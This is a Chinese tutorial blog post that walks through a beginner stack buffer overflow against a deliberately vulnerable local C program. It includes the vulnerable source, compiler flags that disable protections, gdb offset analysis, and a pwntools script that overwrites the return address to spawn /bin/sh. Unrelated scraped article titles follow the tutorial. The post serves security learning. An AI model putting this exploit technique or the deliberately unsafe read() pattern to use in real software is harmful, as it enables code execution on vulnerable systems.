内容:

#include<stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[0x20];read(0, str, 0x50);
}
int main()
{func();return 0;
}

我们要做的是利用溢出执行exploit函数

分析:
先执行func函数,func函数里有个read函数,read函数会读取我们在屏幕上输入的内容,但不会检查内容的多少,全部复制到str里,但str只能存取20个,如果超出这个值,会造成溢出,我们利用溢出,将ret的返回地址改为exlpoit的地址就可以取执行exploit函数了。

首先,把保护机制关了

gcc -no-pie -fno-stack-protector -z execstack -m32 -g -o  11.exe read.c


gdb运行调试

gdb 11.exe
start


找到exlpoit的首地址:0x804843b

查看main的反汇编:

调用func函数后,回来执行mov eax,0x0

我们再查看func的反汇编

执行ret语句后就去执行mov eax,0x0,func函数调用了read函数,我们要利用read函数产生溢出,让执行ret完去执行exploit函数。这个时候我们看看栈内容。
push ebp之前,esp的内容是mov eax,0x0的eip值,lea eax,[ebp-0x28] 是read读取内容的首地址,所以我们让执行ret完去执行exploit函数,只需让exploit的地址去覆盖栈里面mov eax,0x0的eip值,从ebp-0x28mov eax,0x0的eip值,地址相差0x28+0x4,因为在func函数里先push 了edp,所以还要加上0x4。

利用程序:

from pwn import *
p=process('./11.exe')   //文件路径
offset = 0x28+0x4
payload ='a'*offset+p32(0x804843b) //0x804843b是exploit首地址
p.sendline(payload)
p.interactive()

运行,成功获得权限

一个简单的pwn例子---read函数相关推荐

  1. mvc登录实例 mysql_spring mvc + mybatis + mysql 调整的一个简单的登录例子

    spring mvc + mybatis + mysql 整合的一个简单的登录例子 今天用spring跟mybatis整合写了一个简单的登录例子,第一次整合,给自己做个笔记,可能注释写的有点少,做的不 ...

  2. boost::log模块实现一个简单日志的例子

    boost::log模块实现一个简单日志的例子 实现功能 C++实现代码 实现功能 boost::log模块实现一个简单日志的例子 C++实现代码 #include <boost/log/tri ...

  3. 轻松创建nodejs服务器(1):一个简单nodejs服务器例子

    这篇文章主要介绍了一个简单nodejs服务器例子,本文实现了一个简单的hello world例子,并展示如何运行这个服务器,需要的朋友可以参考下 我们先来实现一个简单的例子,hello world. ...

  4. matlab求解一元四次函数,excel数据函数参数是四个吗|求一个简单的一元四次函数的最大值...

    求四次函数的最值 先求导,令导数等于0,求出x的值,判断单调性,将x代入原函数 4次幂的一元函数怎么计算 解析: (1) 四次方程,有通用求根公式. A 此公式复杂,实际使用较麻烦 B 其推导过程中可 ...

  5. 一个简单的CORBA例子

    因为对CORBA分析的需要,这里写一个简单的CORBA例子.从JDK1.2开始,JDK中集成了ORB的实现,本例子使用了JDK1.7,对于JDK1.2+应该都没有问题.这个例子实现一个简单的加减乘除的 ...

  6. 使用Multiplayer Networking做一个简单的多人游戏例子-1/3(Unity3D开发之二十五)

    猴子原创,欢迎转载.转载请注明: 转载自Cocos2Der-CSDN,谢谢! 原文地址: http://blog.csdn.net/cocos2der/article/details/51006463 ...

  7. Python网络爬虫 - 一个简单的爬虫例子

    下面我们创建一个真正的爬虫例子 爬取我的博客园个人主页首页的推荐文章列表和地址 scrape_home_articles.py from urllib.request import urlopen f ...

  8. java servlet例子_Servlet学习教程(三)---- 一个简单的Servlet例子

    我们用个最简单的Servlet例子来解说一下Servlet简单配置以及Servlet类实现类的写法. 第一,我们新建一个Dynamic Web Project,起名Servlet 点击NEXT,设置D ...

  9. python网页爬虫例子_Python网络爬虫 - 一个简单的爬虫例子

    下面我们创建一个真正的爬虫例子 爬取我的博客园个人主页首页的推荐文章列表和地址 scrape_home_articles.py from urllib.request importurlopenfro ...

最新文章

  1. 小菜学习Lucene.Net(更新3.0.3版本使用)
  2. java中使用akka手记三 cluster详例
  3. AndroidStudio(7)---导入jar包方法
  4. 在windows下调试ruby192
  5. 程序员利用恶意软件攻击数万台 Mac、PC,窃取用户隐私长达 13 年
  6. oppor15android10怎么降级,OPPO R9S7.1系统怎么降回6.0版本 OPPO R9S7.1系统降级教程
  7. os.environ 和 keras.json
  8. 猿编程python代码_猿编程怎么练习编程 让你提前熟悉代码
  9. 洛谷oj刷题记录----数组篇
  10. 2000-2019年中国地级市人均GDP
  11. 昨晚 win7 盗版 黑屏了
  12. Jib使用小结(Maven插件版)
  13. 天津大学计算机学院杜朴风,开源技术及应用-天津大学计算机学院.PPT
  14. K8s 集群节点在线率达到 99.9% 以上,扩容效率提升 50%,我们做了这 3 个深度改造...
  15. 公钥和私钥的完全解释(包括对称算法和非对称算法、RSA解释)
  16. STM32 GPIOx_CRL/GPIOx_CRH 寄存器
  17. 25则“验尸报告”— 创业失败者启示录
  18. 上海计算机二级报名无法选择,2020年二级计算机怎么报名上海
  19. python有趣小程序春节祝福-Python实现春节祝福语自动回复
  20. 带透明材质的描绘过程_透明的过程质量

热门文章

  1. flow 静态类型检查 js
  2. PHP后台处理jQuery Ajax跨域请求问题 — xx was not called解决办法
  3. 有趣的js匿名函数写法(function嵌套)
  4. Android 创建,验证和删除桌面快捷方式 (删除快捷方式测试可用)
  5. 课程学习:程序设计与算法
  6. mysql DCL数据控制语言
  7. CentOS 7安装redis及php扩展
  8. JavascriptDOM(三)
  9. 按小时分组mysql 补齐_分组记录按小时或按天白天和mysql的
  10. ajax包含mysql吗_php 实例ajax与mysql怎么只查询出一条数据?